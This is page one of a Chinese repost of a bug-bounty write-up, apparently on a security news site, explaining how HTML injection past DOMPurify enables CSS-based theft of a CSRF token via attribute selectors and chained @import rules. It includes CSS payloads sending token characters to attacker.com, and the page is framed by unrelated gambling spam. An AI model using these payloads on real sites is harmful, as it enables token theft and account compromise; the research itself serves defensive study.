奥运会网球比分规则|雪缘网网球比分直播|
歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

使用HTML注入進行信息泄露

來源:本站整理 作者:佚名 時間:2019-04-16 TAG: 我要投稿

本篇文章講述了我如何發現一個漏洞利用點,并且可以bypass現有安全機制,使我獲得5位數賞金。
一個奇怪的HTML注入案例
AndréBaptista和Cache-Money正在研究一個非常有趣的漏洞,它最初是一個簡單的字符集bypass,經過一系列操作可以使目標(由于dompurify,不能進行XSS)演變成HTML注入。這是一條很棒的利用鏈,可以證明他們發現了很棒的東西。但如下問題還是讓他們遇到了很大的麻煩。
在聽到他們取得的進展后,我想去看看我是否能夠提供一些幫助來使這個漏洞更具利用性。首先我們確定我們至少能夠完成一次有效的點擊劫持攻擊。0xACB (Andre)和Cache-Money有一個很好的想法,他們試圖串聯更多的攻擊面組成利用鏈,以創造更大影響力的漏洞。但是我有一些其他的想法。
在我們確定了dompurify默認允許style標簽之后,我開始思考如何利用CSS做更多的操作而不僅僅只是操縱DOM。如果你已經讀過我的一些帖子,你就會知道我對CSS注入漏洞并不陌生。不幸的是,這個頁面不僅有框架加載保護,并且需要一些用戶交互來觸發注入,這導致如果我們想要進行敏感信息泄露,則會浪費很長時間。并且這只是一個低危攻擊,最多只能獲得4位數的賞金。
我需要一種方法讓瀏覽器在無需重新加載、iframes或用戶交互的情況下可以執行多個CSS payload以達成類似的攻擊。此外,我們對可以注入的payload的長度進行限制。想要僅僅使用標簽來利用它似乎是不可能的,直到我開始了解了CSS的一個特性:@import。
 
CSS注入入門
在我深入了解這項技術之前,我想用一個簡短的部分來描述CSS注入中使用的傳統token信息泄露技術。如果你對這方面已經很熟悉了,可以跳到下一節。另外,我也曾在之前的一篇blog中更深入地探討了這項技術(https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d)。
傳統的CSS注入token信息泄露技術依賴于一種名為Attribute Selectors的CSS特性。Attribute Selectors允許開發人員指定只有當某個元素的屬性滿足selector指示的條件時,才可以將該特定樣式應用于該元素。我們可以利用attribute selector創建一種規則,該規則僅在特定條件下適用于頁面上的指定元素。當應用這些樣式時,我們可以使用類似于background-image等屬性使瀏覽器與攻擊者交互,以循環獲取token信息泄露操作的反饋。
input[name=csrf][value^=a]{
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
    background-image: url(https://attacker.com/exfil/9);  
}
在這個例子中,我們使瀏覽器一旦發現CSRF token以a開頭,則將background-image設置為https://attacker.com/exfil/a中的圖像。然后,我們對可能作為token開頭的每個字符(a, b, c, .. 7, 8, 9, etc.)重復此規則。
一旦我們知道token的第一個字符是什么,我們就可以再次執行攻擊(通常使用iframes),但需要稍微修改payload。
input[name=csrf][value^=ca]{
    background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
    background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
    background-image: url(https://attacker.com/exfil/c9);  
}
在這個例子中,我們假設CSRF token的第一個字母是一個c。如此一來,我們通過再次運行之前的規則就可以獲得CSRF token的第二個字符。但這要建立在這些tokens都是以c開頭的基礎上。
 
先決條件
上述技術通常需要三個前提:
1.CSS注入需要允許足夠長的payload
2.能夠在框架加載頁面再次執行CSS新生成的payloads
3.能夠引用外部圖片(可能被CSP阻止)
這意味著,如果注入不允許足夠大的payload,或者頁面不能被框架加載,那么前面的技術可能不適用。在我們的例子中,這意味由于存在框架安全機制,以及實際可以注入的字符數量有限,我們無法使用這種技術。
 
@import to the Rescue
許多編程語言能夠從其他源文件導入代碼,CSS也不例外。盡管許多人可能只知道,但實際上CSS本身有一種方法可以使用一種名為@import的at-rule來執行類似(但不同)類型的表單樣式包含。
在大多數情況下,@import將提取的樣式直接交換到當前樣式表中,這使開發人員能夠引入外部樣式的同時,覆蓋那些定義在@import行下的外部資源中的,不被需要的指令。
在某些瀏覽器(例如Chrome)中實現的此功能將會帶來一個有趣的副作用,即可以在外部資源被提取到瀏覽器的同時處理樣式表的其余部分。我的理解是,這種行為增加了頁面的TTI,同時試圖減少”flashes of unstyled content”(參見FOUC problem),但實際上它在開發中有實際用途。
想象一下,我們有一個網頁包含以下樣式表:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome通過3個步驟處理此樣式表:
1.向http://laggysite.com/base.css發出請求
2.執行剩余指令(apply * { color: red; })
3.當http://laggysite.com/base.css返回響應時,將響應代入樣式表并重新執行樣式表。
當@import目標響應時,我們可以利用瀏覽器再次執行樣式表的行為,模擬以前的技術中從iframes中控制CSS再次執行的能力的行為。我們使用@import的唯一要求是我們必須在style標簽的開始時擁有控制權(因為這是HTML注入)。
為此,我們將在樣式表中創建兩個@import規則,并讓服務器保持所有連接為打開狀態。然后,我們將使用標準的CSS注入token信息泄露payload從目標屬性中提取第一個token。當我們的服務器從background樣式接收到該token后,我們可以生成下一個token信息泄露payload,并使用新生成的payload響應下一個待處理的@import規則。

[1] [2]  下一頁

【聲明】:黑吧安全網(http://www.nddver.tw)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        奥运会网球比分规则
        快速赛车彩票推理器 江苏时时彩走势图表 江西快3 吃鸡斗鱼直播赚钱吗 黑龙江22选5基本走势 棋牌手游外挂 软件 腾讯分分彩玩法规则 娱乐场meijut 北单比分直播旧版 梦幻西游130怎样赚钱快